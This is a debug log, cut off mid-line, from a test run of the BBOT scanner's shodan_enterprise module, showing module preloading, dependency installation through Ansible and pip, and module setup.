+2026-02-27 19:06:48,358 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:06:48,359 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:06:48,360 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:06:48,361 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:06:48,363 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:06:48,364 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:06:48,365 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:06:48,367 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:06:48,368 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:06:48,369 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:06:48,370 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:06:48,371 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:06:48,372 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:06:48,372 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:06:48,373 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:06:48,374 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:06:48,375 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:06:48,376 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:06:48,376 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:06:48,377 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:06:48,378 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:06:48,379 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:06:49,634 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:06:49,634 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:06:49,635 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:06:49,784 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:06:50,447 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:06:50,447 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:06:50,448 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:06:50,448 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:06:50,697 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:06:50,698 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:06:50,806 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:06:50,807 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:06:50,859 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:06:50,863 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:06:50,864 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:06:51,500 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:06:51,500 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:06:54,125 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:06:54,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:06:54,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:06:56,399 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:06:56,400 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:06:56,403 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:06:56,404 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:06:56,404 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:06:56,404 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:06:56,405 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:06:56,405 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:06:56,409 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/o1oonv1rky9yh9bk2xhy +2026-02-27 19:06:57,511 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:06:57,512 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:06:57,512 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:06:57,513 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:06:57,514 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:06:57,647 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:06:57,647 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:06:57,648 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:06:57,651 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:06:57,652 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:06:57,652 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:06:57,652 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:06:57,653 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:06:57,654 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:06:57,654 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:06:57,655 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:06:57,656 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:06:57,657 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:06:57,657 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:06:57,658 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:06:57,658 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:06:57,658 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:06:57,659 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:06:57,659 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:06:57,659 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:06:57,660 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:06:57,660 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:06:57,661 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:06:57,662 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:06:57,662 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:06:58,653 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:06:58,654 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:07:13,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:07:13,841 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:07:13,843 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:07:13,844 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:07:13,844 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:07:13,846 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:07:13,846 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:07:13,847 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:07:13,848 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:07:13,849 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:07:13,850 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:07:13,851 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:07:13,851 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:07:13,852 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:07:13,853 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:07:13,854 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:07:13,855 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:07:13,856 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:07:13,857 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:07:13,857 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:07:13,858 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:07:13,859 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:07:13,860 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:07:13,861 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:07:13,861 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:07:13,862 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:07:13,863 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:07:13,863 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:07:13,864 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:07:13,864 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:07:13,865 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:07:13,866 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:07:13,866 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:07:13,867 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:07:13,868 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:07:13,868 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:07:13,869 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:07:13,869 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:07:13,870 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:07:13,870 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:07:13,875 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:07:13,875 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:07:13,876 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:07:13,877 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:07:13,878 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:07:13,878 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:07:13,879 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:07:13,880 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:07:13,880 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:07:13,881 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:07:13,882 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:07:13,882 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:07:13,883 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:07:13,884 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:07:13,885 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:07:13,885 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:07:13,886 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:07:13,886 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:07:13,887 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:07:13,887 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:07:13,888 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:07:13,888 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:07:13,890 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:07:13,891 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:07:13,891 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:07:13,892 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:07:13,897 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:07:13,898 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:07:13,899 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:07:13,900 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:07:13,901 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:07:13,902 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:07:13,903 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:07:13,903 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:07:13,904 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:07:13,904 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:07:13,906 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:07:13,907 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:07:13,908 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:07:13,908 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:07:13,909 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:07:13,910 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:07:13,910 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:07:13,911 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:07:13,911 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:07:13,912 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:07:13,913 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:07:13,913 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:07:13,914 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:07:13,915 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:07:13,916 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:07:13,917 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:07:13,917 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:07:13,919 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:07:13,920 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:07:13,921 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:07:13,921 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:07:13,922 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:07:13,923 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:07:13,923 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:07:13,924 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:07:13,924 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:07:13,925 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:07:13,925 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:07:13,926 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:07:13,926 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:07:13,927 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:07:13,928 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:07:13,929 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:07:13,930 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:07:13,931 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:07:13,932 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:07:13,933 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:07:13,934 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:07:13,935 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:07:13,935 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:07:13,936 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:07:13,936 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:07:13,937 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:07:13,938 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:07:13,939 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:07:13,940 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:07:13,940 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:07:13,941 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:07:13,941 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:07:13,942 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:07:13,943 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:07:13,943 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:07:13,944 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:07:13,945 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:07:13,945 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:07:13,946 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:07:13,947 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:07:13,947 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:07:13,948 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:07:13,948 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:07:13,949 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:07:13,949 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:07:13,950 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:07:13,951 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:07:13,951 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:07:13,952 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:07:13,952 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:07:13,953 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:07:13,953 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:07:13,954 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:07:13,954 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:07:13,955 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:07:13,956 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:07:13,956 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:07:13,957 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:07:13,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:07:13,958 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:07:13,958 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:07:13,959 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:07:13,960 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:07:13,960 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:07:13,961 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid 